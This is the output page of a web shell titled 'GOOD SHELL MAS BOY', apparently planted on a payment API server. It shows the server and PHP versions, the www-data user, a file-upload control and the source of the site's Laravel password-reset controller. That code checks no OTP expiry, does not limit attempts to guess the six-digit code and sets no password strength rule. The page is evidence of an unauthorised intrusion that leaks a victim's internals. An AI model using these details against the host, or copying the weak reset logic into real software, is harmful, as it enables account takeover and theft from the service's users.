GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.vaspayment.com/app/Http/Controllers/Authentication/ResetPassword.php
<?php

namespace App\Http\Controllers\Authentication;

use App\Models\User; 
use Illuminate\Http\Request;
use App\Models\OtpVerification; 
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash; 
use Illuminate\Validation\ValidationException;

class ResetPassword extends Controller
{
    public function resetPassword(Request $request)
    {
        try {
            $validatedData = $request->validate([
                "password" => "required|string",
                'email' => 'required|email|exists:otp_verifications,email',
                'otp' => 'required|digits:6|exists:otp_verifications,otp',
            ]);
            // Verify the OTP
            $otpRecord = OtpVerification::where([
                ['email', '=', $validatedData['email']],
                ['otp', '=', $validatedData['otp']], 
            ])->latest()->first();

            if (!$otpRecord) {
                return response()->json(['status' => 'error', 'message' => 'You entered an inccorrect OTP. Please try again'], 401);
            }
 
            // Fetch the user and update the password
            $user = User::where("email", $validatedData['email'])->first();
            if (!$user) {
                return response()->json(['status' => 'error', 'message' => 'Your email has not been received. Please try the verification process again'], 404);
            }

            $user->password = Hash::make($validatedData['password']);
            $user->save();

            $otpRecord->delete();

            return response()->json(['status' => 'success', 'message' => 'Your password was reset successfully'], 200);
        } catch (ValidationException $e) {
            return response()->json(['status' => 'error', 'message' => 'Your password failed to update', 'data' => $e->getMessage()], 422);
        }
    }

  
}